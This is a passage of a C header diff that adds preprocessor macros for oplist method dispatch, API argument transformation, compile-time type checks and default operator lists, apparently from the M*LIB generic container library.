+#define M_CALL_PUSH_MOVE(oplist, ...) M_APPLY_API(M_GET_PUSH_MOVE oplist, oplist, __VA_ARGS__)
+#define M_CALL_POP_MOVE(oplist, ...) M_APPLY_API(M_GET_POP_MOVE oplist, oplist, __VA_ARGS__)
+#define M_CALL_REVERSE(oplist, ...) M_APPLY_API(M_GET_REVERSE oplist, oplist, __VA_ARGS__)
+#define M_CALL_GET_STR(oplist, ...) M_APPLY_API(M_GET_GET_STR oplist, oplist, __VA_ARGS__)
+#define M_CALL_PARSE_STR(oplist, ...) M_APPLY_API(M_GET_PARSE_STR oplist, oplist, __VA_ARGS__)
+#define M_CALL_OUT_STR(oplist, ...) M_APPLY_API(M_GET_OUT_STR oplist, oplist, __VA_ARGS__)
+#define M_CALL_IN_STR(oplist, ...) M_APPLY_API(M_GET_IN_STR oplist, oplist, __VA_ARGS__)
+#define M_CALL_OUT_SERIAL(oplist, ...) M_APPLY_API(M_GET_OUT_SERIAL oplist, oplist, __VA_ARGS__)
+#define M_CALL_IN_SERIAL(oplist, ...) M_APPLY_API(M_GET_IN_SERIAL oplist, oplist, __VA_ARGS__)
+//#define M_CALL_SEPARATOR(oplist, ...) M_APPLY_API(M_GET_SEPARATOR oplist, oplist, __VA_ARGS__)
+//#define M_CALL_EXT_ALGO(oplist, ...) M_APPLY_API(M_GET_EXT_ALGO oplist, oplist, __VA_ARGS__)
+#define M_CALL_INC_ALLOC(oplist, ...) M_APPLY_API(M_GET_INC_ALLOC oplist, oplist, __VA_ARGS__)
+#define M_CALL_OOR_SET(oplist, ...) M_APPLY_API(M_GET_OOR_SET oplist, oplist, __VA_ARGS__)
+#define M_CALL_OOR_EQUAL(oplist, ...) M_APPLY_API(M_GET_OOR_EQUAL oplist, oplist, __VA_ARGS__)
+//#define M_CALL_PROPERTIES(oplist, ...) M_APPLY_API(M_GET_PROPERTIES oplist, oplist, __VA_ARGS__)
+//#define M_CALL_EMPLACE_TYPE(oplist, ...) M_APPLY_API(M_GET_EMPLACE_TYPE oplist, oplist, __VA_ARGS__)
+// m_context is always added here!
+#define M_CALL_NEW(oplist, ...) M_APPLY_API(M_GET_NEW oplist, oplist, m_context, __VA_ARGS__)
+#define M_CALL_DEL(oplist, ...) M_APPLY_API(M_GET_DEL oplist, oplist, m_context, __VA_ARGS__)
+#define M_CALL_REALLOC(oplist, ...) M_APPLY_API(M_GET_REALLOC oplist, oplist, m_context, __VA_ARGS__)
+#define M_CALL_FREE(oplist, ...) M_APPLY_API(M_GET_FREE oplist, oplist, m_context, __VA_ARGS__)
+//#define M_CALL_SIZE(oplist, ...) M_APPLY_API(M_GET_SIZE oplist, oplist, __VA_ARGS__)
+//#define M_CALL_CONTEXT(oplist, ...) M_APPLY_API(M_GET_CONTEXT oplist, oplist, __VA_ARGS__)
+//#define M_CALL_POLICY(oplist, ...)  M_APPLY_API(M_GET_POLICY oplist, oplist, __VA_ARGS__)
+
+
+/* API transformation support:
+   transform the call to the method into the supported API by the method.
+   Example of usage in oplist: ( INIT_WITH(API_1(method)) )
+   NOTE: It uses M_RET_ARG3 instead of M_RET_ARG2 since M_GET_METHOD
+   uses M_RET_ARG2: to be able to use M_GET_METHOD within a M_APPLY_API
+   we need another macro to avoid being marked.
+*/
+#define M_APPLY_API(method, oplist, ...)                                      \
+  M_RET_ARG3( , M_C(M_OPLAPI_INDIRECT_, method)(M_C(M_OPLAPI_EXTRACT_,method),oplist,__VA_ARGS__), method(__VA_ARGS__),)
+
+/* Pre-defined API Transformation :
+   0: Method has been disable. It shall not be called. Raised an error.
+   API_0: default, API_1: oplist given,
+   API_2: by addr for first argument, API_3: oplist given,
+   API_4 :by affectation for first argument, 5: API_by affectation + oplist
+   API_6 :by addr for two arguments, 5: API_by address for both + oplist
+
+   NOTE: It starts by a comma, to ack the success of the transformation.
+*/
+#define M_OPLAPI_ERROR(method, oplist, ...)  , M_STATIC_ASSERT(false, M_LIB_DISABLED_METHOD, "The method has been explictly disabled for the requested operator, yet it has been called by the container")
+#define M_OPLAPI_0(method, oplist, ...)      , M_DELAY3(method)(__VA_ARGS__)
+#define M_OPLAPI_1(method, oplist, ...)      , M_DELAY3(method)(oplist, __VA_ARGS__)
+#define M_OPLAPI_2(method, oplist, ...)      , M_DELAY3(method)(& __VA_ARGS__)
+#define M_OPLAPI_3(method, oplist, ...)      , M_DELAY3(method)(oplist, &__VA_ARGS__)
+#define M_OPLAPI_4(method, oplist, x, ...)   , x = M_DELAY3(method)(__VA_ARGS__)
+#define M_OPLAPI_5(method, oplist, x, ...)   , x = M_DELAY3(method)(oplist, __VA_ARGS__)
+#define M_OPLAPI_6(method, oplist, x, ...)   , M_DELAY3(method)(&x, &__VA_ARGS__)
+#define M_OPLAPI_7(method, oplist, x, ...)   , M_DELAY3(method)(oplist, &x, &__VA_ARGS__)
+#define M_OPLAPI_0P(method, oplist, ...)      , M_DELAY3(method)(m_context, __VA_ARGS__)
+#define M_OPLAPI_1P(method, oplist, ...)      , M_DELAY3(method)(oplist, m_context, __VA_ARGS__)
+#define M_OPLAPI_2P(method, oplist, ...)      , M_DELAY3(method)(m_context, & __VA_ARGS__)
+#define M_OPLAPI_3P(method, oplist, ...)      , M_DELAY3(method)(oplist, m_context, &__VA_ARGS__)
+#define M_OPLAPI_4P(method, oplist, x, ...)   , x = M_DELAY3(method)(m_context, __VA_ARGS__)
+#define M_OPLAPI_5P(method, oplist, x, ...)   , x = M_DELAY3(method)(oplist, m_context, __VA_ARGS__)
+#define M_OPLAPI_6P(method, oplist, x, ...)   , M_DELAY3(method)(m_context, &x, &__VA_ARGS__)
+#define M_OPLAPI_7P(method, oplist, x, ...)   , M_DELAY3(method)(oplist, m_context, &x, &__VA_ARGS__)
+/* API transformation support for indirection */
+#define M_OPLAPI_INDIRECT_0          M_OPLAPI_ERROR
+#define M_OPLAPI_INDIRECT_API_0(...) M_OPLAPI_0
+#define M_OPLAPI_EXTRACT_API_0(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_1(...) M_OPLAPI_1
+#define M_OPLAPI_EXTRACT_API_1(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_2(...) M_OPLAPI_2
+#define M_OPLAPI_EXTRACT_API_2(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_3(...) M_OPLAPI_3
+#define M_OPLAPI_EXTRACT_API_3(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_4(...) M_OPLAPI_4
+#define M_OPLAPI_EXTRACT_API_4(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_5(...) M_OPLAPI_5
+#define M_OPLAPI_EXTRACT_API_5(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_6(...) M_OPLAPI_6
+#define M_OPLAPI_EXTRACT_API_6(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_7(...) M_OPLAPI_7
+#define M_OPLAPI_EXTRACT_API_7(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_0P(...) M_OPLAPI_0P
+#define M_OPLAPI_EXTRACT_API_0P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_1P(...) M_OPLAPI_1P
+#define M_OPLAPI_EXTRACT_API_1P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_2P(...) M_OPLAPI_2P
+#define M_OPLAPI_EXTRACT_API_2P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_3P(...) M_OPLAPI_3P
+#define M_OPLAPI_EXTRACT_API_3P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_4P(...) M_OPLAPI_4P
+#define M_OPLAPI_EXTRACT_API_4P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_5P(...) M_OPLAPI_5P
+#define M_OPLAPI_EXTRACT_API_5P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_6P(...) M_OPLAPI_6P
+#define M_OPLAPI_EXTRACT_API_6P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_7P(...) M_OPLAPI_7P
+#define M_OPLAPI_EXTRACT_API_7P(...)  __VA_ARGS__
+
+
+/* Generic API transformation.
+ * The API itself is described in the operator mapping with the method name.
+ *
+ * Usage in oplist:
+ *  operator ( API( method, returncode, args...) )
+ * * method is the method name
+ * * returncode is the transformation to perform of the return code. It can be:
+ *   - NONE: no transformation
+ *   - VOID: cast to void
+ *   - EQ(val)/NEQ(val)/LT(val)/GT(val)/LE(val)/GE(val): compare return code to val
+ *   - ARG[1-9]: set the associated argument number of the operator to the return code
+ * * args are the list of the arguments of the function. It can be:
+ *   - a constant
+ *   - a variable name (probable global)
+ *   - ARG[1-9] : the associated argument number of the operator
+ *   - ARGPTR[1-9] : the pointer of the associated argument number of the operator
+ *   - OPLIST: the oplist
+ */
+
+/* Needed duplicate of M_RET_ARG2 as we call it within a M_RET_ARG2
+ * FIXME: Can M_HEAD_2 be used instead? */
+#define M_RETI_ARG2_BIS(_1, _2, ...) _2
+#define M_RET_ARG2_BIS(...) M_RETI_ARG2_BIS(__VA_ARGS__,)
+
+/* Reorder the arglist 'arglist' according to the order 'orderlist'
+ * Inject also '&' if the address of the argument is requested in orderlist
+ * Inject also default value if requested in orderlist
+ * Inject also the oplist of requested in orderlist
+ */
+#define M_REORDER_ARGLIST(arglist, orderlist)                                 \
+    M_MAP2B_C( M_REORDER_ARGLIST_FUNC, arglist, M_REORDER_ARGLIST_ID orderlist)
+#define M_REORDER_ARGLIST_ID(...)              __VA_ARGS__
+#define M_REORDER_ARGLIST_FUNC(arglist, order)                                \
+    M_RET_ARG2_BIS( M_C(M_REORDER_ARGLIST_FUNC_, order) (arglist), order, )
+
+/* The first ARG starts from the second index as the first index is the oplist */
+#define M_REORDER_ARGLIST_FUNC_OPLIST(arglist) , M_RET_ARG1  arglist ,
+
+#define M_REORDER_ARGLIST_FUNC_ARG1(arglist)  , M_RET_ARG2  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG2(arglist)  , M_RET_ARG3  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG3(arglist)  , M_RET_ARG4  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG4(arglist)  , M_RET_ARG5  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG5(arglist)  , M_RET_ARG6  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG6(arglist)  , M_RET_ARG7  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG7(arglist)  , M_RET_ARG8  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG8(arglist)  , M_RET_ARG9  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG9(arglist)  , M_RET_ARG10  arglist ,
+
+#define M_REORDER_ARGLIST_FUNC_ARGPTR1(arglist)  , & M_RET_ARG2  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR2(arglist)  , & M_RET_ARG3  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR3(arglist)  , & M_RET_ARG4  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR4(arglist)  , & M_RET_ARG5  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR5(arglist)  , & M_RET_ARG6  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR6(arglist)  , & M_RET_ARG7  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR7(arglist)  , & M_RET_ARG8  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR8(arglist)  , & M_RET_ARG9  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR9(arglist)  , & M_RET_ARG10  arglist ,
+
+#define M_REORDER_ARGLIST_FUNC_ID(arg)         , arg , M_EAT
+
+/* Perform the API translation of the return code depending
+   on the given keyword (NONE, EQ, NEQ, ...).) */
+#define M_REORDER_RET_NONE(...)     /* Nothing */
+#define M_REORDER_RET_VOID(...)     (void)
+#define M_REORDER_RET_NEG(...)      -
+#define M_REORDER_RET_EQ(value)     value == M_EAT
+#define M_REORDER_RET_NEQ(value)    value != M_EAT
+#define M_REORDER_RET_LT(value)     value >  M_EAT
+#define M_REORDER_RET_LE(value)     value >= M_EAT
+#define M_REORDER_RET_GT(value)     value <  M_EAT
+#define M_REORDER_RET_GE(value)     value <= M_EAT
+#define M_REORDER_RET_ARG1(...)     M_RET_ARG1(__VA_ARGS__) =
+#define M_REORDER_RET_ARG2(...)     M_RET_ARG2(__VA_ARGS__) =
+#define M_REORDER_RET_ARG3(...)     M_RET_ARG3(__VA_ARGS__) =
+#define M_REORDER_RET_ARG4(...)     M_RET_ARG4(__VA_ARGS__) =
+#define M_REORDER_RET_ARG5(...)     M_RET_ARG5(__VA_ARGS__) =
+#define M_REORDER_RET_ARG6(...)     M_RET_ARG6(__VA_ARGS__) =
+#define M_REORDER_RET_ARG7(...)     M_RET_ARG7(__VA_ARGS__) =
+#define M_REORDER_RET_ARG8(...)     M_RET_ARG8(__VA_ARGS__) =
+#define M_REORDER_RET_ARG9(...)     M_RET_ARG9(__VA_ARGS__) =
+
+/* Integrate the generic API in the API transformation framework */
+#define M_OPLAPI(method, oplist, ...) , ( M_C( M_REORDER_RET_, M_DELAY2(M_HEAD_2 method))(__VA_ARGS__, ) M_DELAY2(M_HEAD method)( M_REORDER_ARGLIST( (oplist, __VA_ARGS__), ( M_TAIL_2 method ) ) ) )
+#define M_OPLAPI_INDIRECT_API(...)    M_OPLAPI
+#define M_OPLAPI_EXTRACT_API(...)     ( __VA_ARGS__ )
+
+
+/* Define the no default function that generates 
+ * a proper compiler error if the method is expanded.
+ * We still give a proper return type to avoid generating too much errors
+ * and to focus on the real error of missing method.
+*/
+#define M_NO_DEFAULT(operator, return_type)                                   \
+  (M_STATIC_ASSERT(false, M_LIB_MISSING_METHOD,                               \
+  "The " #operator " operator has no method associated in the given OPLIST."),\
+  (return_type) 0)
+
+#define M_NO_DEF_INIT_WITH(...)   M_NO_DEFAULT(INIT_WITH, void)
+#define M_NO_DEF_MOVE(...)        M_NO_DEFAULT(MOVE, void)
+#define M_NO_DEF_SWAP(...)        M_NO_DEFAULT(SWAP, void)
+#define M_NO_DEF_HASH(...)        M_NO_DEFAULT(HASH, size_t)
+#define M_NO_DEF_SORT(...)        M_NO_DEFAULT(SORT, void)
+#define M_NO_DEF_SPLICE_BACK(...) M_NO_DEFAULT(SPLICE_BACK, void)
+#define M_NO_DEF_SPLICE_AT(...)   M_NO_DEFAULT(SPLICE_AT, void)
+#define M_NO_DEF_IT_FIRST(...)    M_NO_DEFAULT(IT_FIRST, void)
+#define M_NO_DEF_IT_LAST(...)     M_NO_DEFAULT(IT_LAST, void)
+#define M_NO_DEF_IT_END(...)      M_NO_DEFAULT(IT_END, void)
+#define M_NO_DEF_IT_SET(...)      M_NO_DEFAULT(IT_SET, void)
+#define M_NO_DEF_IT_END_P(...)    M_NO_DEFAULT(IT_END_P, bool)
+#define M_NO_DEF_IT_LAST_P(...)   M_NO_DEFAULT(IT_LAST_P, bool)
+#define M_NO_DEF_IT_EQUAL_P(...)  M_NO_DEFAULT(IT_EQUAL_P, bool)
+#define M_NO_DEF_IT_NEXT(...)     M_NO_DEFAULT(IT_NEXT, void)
+#define M_NO_DEF_IT_PREVIOUS(...) M_NO_DEFAULT(IT_PREVIOUS, void)
+#define M_NO_DEF_IT_REF(...)      M_NO_DEFAULT(IT_REF, void)
+#define M_NO_DEF_IT_CREF(...)     M_NO_DEFAULT(IT_CREF, void)
+#define M_NO_DEF_IT_REMOVE(...)   M_NO_DEFAULT(IT_REMOVE, void)
+#define M_NO_DEF_IT_INSERT(...)   M_NO_DEFAULT(IT_INSET, void)
+#define M_NO_DEF_EMPTY_P(...)     M_NO_DEFAULT(EMPTY_P, bool)
+#define M_NO_DEF_RESET(...)       M_NO_DEFAULT(RESET, void)
+#define M_NO_DEF_GET_KEY(...)     M_NO_DEFAULT(GET_KEY, void*)
+#define M_NO_DEF_SET_KEY(...)     M_NO_DEFAULT(SET_KEY, void)
+#define M_NO_DEF_SAFE_GET_KEY(...) M_NO_DEFAULT(SAFE_GET_KEY, void*)
+#define M_NO_DEF_ERASE_KEY(...)   M_NO_DEFAULT(ERASE_KEY, void)
+#define M_NO_DEF_GET_SIZE(...)    M_NO_DEFAULT(GET_SIZE, size_t)
+#define M_NO_DEF_PUSH(...)        M_NO_DEFAULT(PUSH, void)
+#define M_NO_DEF_POP(...)         M_NO_DEFAULT(POP, void)
+#define M_NO_DEF_PUSH_MOVE(...)   M_NO_DEFAULT(PUSH_MOVE, void)
+#define M_NO_DEF_POP_MOVE(...)    M_NO_DEFAULT(POP_MOVE, void)
+#define M_NO_DEF_REVERSE(...)     M_NO_DEFAULT(REVERSE, void)
+#define M_NO_DEF_GET_STR(...)     M_NO_DEFAULT(GET_STR, void)
+#define M_NO_DEF_PARSE_STR(...)   M_NO_DEFAULT(PARSE_STR, bool)
+#define M_NO_DEF_OUT_STR(...)     M_NO_DEFAULT(OUT_STR, void)
+#define M_NO_DEF_IN_STR(...)      M_NO_DEFAULT(IN_STR, bool)
+#define M_NO_DEF_OUT_SERIAL(...)  M_NO_DEFAULT(OUT_SERIAL, m_serial_return_code_t)
+#define M_NO_DEF_IN_SERIAL(...)   M_NO_DEFAULT(IN_SERIAL, m_serial_return_code_t)
+#define M_NO_DEF_OOR_SET(...)     M_NO_DEFAULT(OOR_SET, void)
+#define M_NO_DEF_OOR_EQUAL(...)   M_NO_DEFAULT(OOR_EQUAL, bool)
+
+/* Create a type with an invalid static assertion.
+   Creating a type allowed the macro into something not too bad
+   from a syntaxic point of view, reducing the amount of errors reported
+   so that the user can concentrate on the real error.
+*/
+#define M_NO_DEFAULT_TYPE(op)                                                 \
+  struct { int m_x[                                                           \
+  (M_STATIC_ASSERT(false, M_LIB_MISSING_METHOD,                               \
+  "The " #op " operator is not registered in the given OPLIST. ")             \
+  , 1)]; }
+
+#define M_NO_DEF_TYPE             M_NO_DEFAULT_TYPE(TYPE)
+#define M_NO_DEF_IT_TYPE          M_NO_DEFAULT_TYPE(IT_TYPE)
+#define M_NO_DEF_SUBTYPE          M_NO_DEFAULT_TYPE(SUBTYPE)
+#define M_NO_DEF_SUBTYPE_PTR      M_NO_DEFAULT_TYPE(SUBTYPE_PTR)
+#define M_NO_DEF_GENTYPE          M_NO_DEFAULT_TYPE(GENTYPE)
+#define M_NO_DEF_KEY_TYPE         M_NO_DEFAULT_TYPE(KEY_TYPE)
+#define M_NO_DEF_VALUE_TYPE       M_NO_DEFAULT_TYPE(VALUE_TYPE)
+#define M_NO_DEF_NAME             M_NO_DEFAULT_TYPE(NAME) m_no_name
+
+/* Test if the given variable is indeed a basic C variable:
+   int, float, enum, bool or compatible.
+   NOTE: Not perfect, but catch some errors */
+#ifdef NDEBUG
+#define M_CHECK_BASIC_TYPE(a) (void) 0
+#elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+#define M_CHECK_BASIC_TYPE(a)                                                 \
+  M_STATIC_ASSERT(_Generic(a,                                                 \
+                           _Bool: 1,                                          \
+                           char: 1, unsigned char: 1, signed char: 1,         \
+                           unsigned short: 1, signed short: 1,                \
+                           unsigned int: 1, signed int: 1,                    \
+                           unsigned long: 1, signed long: 1,                  \
+                           unsigned long long: 1, signed long long:1,         \
+                           float: 1, double:1, long double: 1,                \
+                           char *:1, void*:1,                                 \
+                  default: 0),                                                \
+                  M_LIB_NOT_A_BASIC_TYPE,                                     \
+                  "The variable " M_AS_STR(a) " is not a basic C type (int/float), " \
+                  "but the given methods use it like this. "                  \
+                  "It is likely the given oplist is not the right one.")
+#else
+#define M_CHECK_BASIC_TYPE(a)                                                 \
+  M_STATIC_ASSERT(sizeof (a) <= M_MAX(sizeof(long long),                      \
+                                      M_MAX(sizeof (long double),             \
+                                            sizeof (uintmax_t))),             \
+                  M_LIB_NOT_A_BASIC_TYPE,                                     \
+                  "The variable " M_AS_STR(a) " is too big to be a basic C type (int/float), " \
+                  "but the given methods use it like this. "                  \
+                  "It is likely the given oplist is not the right one.")
+#endif
+
+/* Check if both variables are of the same type.
+   The test compares their types if C23 or GCC compatible compilers
+   else it compares their sizes (Not perfect but catch some errors) */
+#ifdef NDEBUG
+#define M_CHECK_SAME(a, b) (void)0
+#elif defined(__GNUC__) && !defined(__cplusplus)
+#define M_CHECK_SAME(a, b)                                                    \
+  M_STATIC_ASSERT(__builtin_types_compatible_p(m_typeof(a), m_typeof(b)),     \
+                  M_LIB_NOT_SAME_TYPE,                                        \
+                  "The variable " M_AS_STR(a) " and " M_AS_STR(b)             \
+                  " are not of same type.")
+#elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 202000L
+#define M_CHECK_SAME(a, b)                                                    \
+  M_STATIC_ASSERT(_Generic(&a, m_typeof(b)*: 1, default: 0),                  \
+                  M_LIB_NOT_SAME_TYPE,                                        \
+                  "The variable " M_AS_STR(a) " and " M_AS_STR(b)             \
+                  " are not of same type.")
+#else
+#define M_CHECK_SAME(a, b)                                                    \
+  M_STATIC_ASSERT(sizeof(a) == sizeof(b),                                     \
+                  M_LIB_NOT_SAME_TYPE,                                        \
+                  "The variable " M_AS_STR(a) " and " M_AS_STR(b)             \
+                  " are not of same type.")
+#endif
+
+/* Check if the oplist is compatible with the type.
+   The oplist should define a TYPE method, in which case it is tested.
+   If it is not exported, do nothing.
+   Compare the type in C11, the size in C99 or C++.
+   - name is the base name of the container.
+   - inst is a number which is incremented for each use of this macro
+   within the named container.
+   - type is the type to test
+   - oplist of the oplist to test to.
+*/
+#ifdef NDEBUG
+#define M_CHECK_COMPATIBLE_OPLIST(name, inst, type, oplist)
+#elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+#define M_CHECK_COMPATIBLE_OPLIST(name, inst, type, oplist)                   \
+  M_IF_METHOD(TYPE, oplist)                                                   \
+  (                                                                           \
+   M_INLINE void M_C3(m_c0re_ctype_, name, inst)(void)                        \
+  {                                                                           \
+    type x;                                                                   \
+    /* Proper check using _Generic */                                         \
+    M_STATIC_ASSERT(_Generic(&x,                                              \
+                             M_GET_TYPE oplist *: 1 /* Ok, type matches */,   \
+                             default: 0 /* NOK, type doesn't match */ ),      \
+                    M_LIB_TYPE_MISTMACH,                                      \
+                    "The given type " M_AS_STR(type)                          \
+                    " and the type of the oplist does not match: "            \
+                    M_OPL_AS_STR(oplist) );                                   \
+  }                                                                           \
+  , /* End of TYPE */)
+#else
+#define M_CHECK_COMPATIBLE_OPLIST(name, inst, type, oplist)                   \
+  M_IF_METHOD(TYPE, oplist)                                                   \
+  (                                                                           \
+   M_INLINE void M_C3(m_c0re_ctype_, name, inst)(void)                        \
+  {                                                                           \
+    /* Imperfect check using size of type */                                  \
+    M_STATIC_ASSERT(sizeof (type) == sizeof (M_GET_TYPE oplist),              \
+                    M_LIB_TYPE_MISTMACH,                                      \
+                    "The given type " M_AS_STR(type)                          \
+                    " and the type of the oplist does not match: "            \
+                    M_OPL_AS_STR(oplist) );                                   \
+  }                                                                           \
+  , /* End of TYPE */)
+#endif
+
+
+/* Define the default method.
+   NOTE: M_SET_DEFAULT may be called in conditions where a and b
+   are different but compatible type.
+ */
+#define M_INIT_DEFAULT(a)       ((a) = 0)
+#define M_SET_DEFAULT(a,b)      ((a) = (b))
+#define M_NOTHING_DEFAULT(...)  ((void)(__VA_ARGS__))
+#define M_EMPTY_DEFAULT(...)    ((void)1)
+#define M_TRUE_DEFAULT(...)     true
+#define M_FALSE_DEFAULT(...)    false
+#define M_EQUAL_DEFAULT(a,b)    ((a) == (b))
+#define M_CMP_DEFAULT(a,b)      ((a) < (b) ? -1 : (a) > (b))
+#define M_ADD_DEFAULT(a,b,c)    ((a) = (b) + (c))
+#define M_SUB_DEFAULT(a,b,c)    ((a) = (b) - (c))
+#define M_MUL_DEFAULT(a,b,c)    ((a) = (b) * (c))
+#define M_DIV_DEFAULT(a,b,c)    ((a) = (b) / (c))
+#define M_AND_DEFAULT(a,b,c)    ((a) = (b) & (c))
+#define M_OR_DEFAULT(a,b,c)     ((a) = (b) | (c))
+#define M_NO_EXT_ALGO(n,co,to)
+#define M_INC_ALLOC_DEFAULT(n)   (M_MAX(8, (n))*2)
+#define M_SWAP_DEFAULT(el1, el2) do {                                         \
+    char _tmp[sizeof (el1)];                                                  \
+    M_CHECK_SAME(el1, el2);                                                   \
+    memcpy(&_tmp, &(el1), sizeof (el1));                                      \
+    memcpy(&(el1), &(el2), sizeof (el1));                                     \
+    memcpy(&(el2), &_tmp, sizeof (el1));                                      \
+  } while (0)
+
+/* Define the method for basic types (int / float) */
+/* Check that the type matches a C basic type and do the job */
+#define M_INIT_BASIC(a)         (M_CHECK_BASIC_TYPE(a), (a) = 0)
+#define M_SET_BASIC(a,b)        (M_CHECK_BASIC_TYPE(a), (a) = (b))
+#define M_EQUAL_BASIC(a,b)      (M_CHECK_BASIC_TYPE(a), (a) == (b))
+#define M_CMP_BASIC(a,b)        (M_CHECK_BASIC_TYPE(a), (a) < (b) ? -1 : (a) > (b))
+
+/* NOTE: Theses operators are NOT compatible with the '[1]' tricks
+   if the variable is defined as a parameter of a function
+   (sizeof (a) is not portable). */
+#define M_RESET_POD(a)      (memset(&(a), 0, sizeof (a)))
+#define M_MEMEQ_POD(a,b)    (M_CHECK_SAME(a, b), memcmp(&(a), &(b), sizeof (a)) == 0)
+#define M_MEMCMP_POD(a,b)   (M_CHECK_SAME(a, b), memcmp(&(a), &(b), sizeof (a)))
+
+/* Default oplist for a plain structure */
+#define M_POD_OPLIST                                                          \
+  (INIT(M_RESET_POD), INIT_SET(M_SET_DEFAULT), SET(M_SET_DEFAULT), CLEAR(M_NOTHING_DEFAULT), \
+   EQUAL(M_MEMEQ_POD), CMP(M_MEMCMP_POD), HASH(M_HASH_POD_DEFAULT), SWAP(M_SWAP_DEFAULT), \
+   INIT_MOVE(M_SET_DEFAULT) )
+
+
+/* NOTE: Theses operators are to be used with array of size 1, the '[1]' tricks
+   if the variable is defined as a parameter of a function
+   (sizeof (a) is not portable). */
+#define M_COPY_A1OBJ(a,b)   (M_CHECK_SAME((a)[0], (b)[0]), memcpy(&((a)[0]), &((b)[0]), sizeof ((a)[0])))
+#define M_RESET_A1OBJ(a)    (memset(&((a)[0]), 0, sizeof ((a)[0])))
+#define M_MEMEQ_A1OBJ(a,b)  (M_CHECK_SAME((a)[0], (b)[0]), memcmp(&((a)[0]), &((b)[0]), sizeof ((a)[0])) == 0)
+#define M_MEMCMP_A1OBJ(a,b) (M_CHECK_SAME((a)[0], (b)[0]), memcmp(&((a)[0]), &((b)[0]), sizeof ((a)[0])))
+#define M_HASH_A1OBJ(a)     (m_core_hash((const void*) &((a)[0]), sizeof ((a)[0])) )
+#define M_SWAP_A1OBJ(a, b)  do {                                              \
+  char _tmp[sizeof ((a)[0])];                                                 \
+  M_CHECK_SAME((a)[0], (b)[0]);                                               \
+  memcpy(&_tmp, &((a)[0]), sizeof ((a)[0]));                                  \
+  memcpy(&((a)[0]), &((b)[0]), sizeof ((a)[0]));                              \
+  memcpy(&((b)[0]), &_tmp, sizeof ((a)[0]));                                  \
+} while (0)
+
+// Obsolete name
+#define M_COPY_A1_DEFAULT M_COPY_A1OBJ
+
+/* Default oplist for a structure defined with an array of size 1.
+   MOVE operator is not defined since the object may need to release some data */
+#define M_A1_OPLIST                                                           \
+  (INIT(M_RESET_A1OBJ), INIT_SET(M_COPY_A1OBJ), SET(M_COPY_A1OBJ), CLEAR(M_NOTHING_DEFAULT), \
+   EQUAL(M_MEMEQ_A1OBJ), CMP(M_MEMCMP_A1OBJ), HASH(M_HASH_A1OBJ), SWAP(M_SWAP_A1OBJ), \
+   INIT_MOVE(M_COPY_A1OBJ) )
+
+
+/* Oplist for a type that does nothing and shall not be instanciated */
+#define M_EMPTY_OPLIST                                                        \
+  (INIT(M_EMPTY_DEFAULT), INIT_SET(M_EMPTY_DEFAULT),                          \
+   SET(M_EMPTY_DEFAULT), CLEAR(M_EMPTY_DEFAULT),                              \
+   INIT_MOVE(M_EMPTY_DEFAULT), MOVE(M_EMPTY_DEFAULT),                         \
+   EQUAL(M_TRUE_DEFAULT), GET_STR(M_EMPTY_DEFAULT),                           \
+   OUT_STR(M_EMPTY_DEFAULT), IN_STR(M_TRUE_DEFAULT),                          \
+   OUT_SERIAL(M_EMPTY_DEFAULT), IN_SERIAL(M_TRUE_DEFAULT),                    \
+   PARSE_STR(M_TRUE_DEFAULT))
+
+
+/* Default oplist for C standard types (int & float).
+   Implement generic out_str/in_str/parse_str/get_str function if using C11.
+   Add FILE I/O if stdio.h has been included
+*/
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+
+# if M_USE_STDIO
+/* C11 + FILE support */
+#  define M_BASIC_OPLIST                                                      \
+  (INIT(M_INIT_BASIC), INIT_SET(M_SET_BASIC), SET(M_SET_BASIC),               \
+   CLEAR(M_NOTHING_DEFAULT), EQUAL(M_EQUAL_BASIC), CMP(M_CMP_BASIC),          \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT) ,                            \
+   RESET(M_INIT_BASIC), PROPERTIES( (NOCLEAR(1)) ),                           \
+   ADD(M_ADD_DEFAULT), SUB(M_SUB_DEFAULT),                                    \
+   MUL(M_MUL_DEFAULT), DIV(M_DIV_DEFAULT),                                    \
+   HASH(M_HASH_DEFAULT), SWAP(M_SWAP_DEFAULT) ,                               \
+   IN_STR(M_FSCAN_ARG M_IPTR), OUT_STR(M_FPRINT_ARG),                         \
+   IN_SERIAL(M_IN_SERIAL_DEFAULT_ARG M_IPTR), OUT_SERIAL(M_OUT_SERIAL_DEFAULT_ARG), \
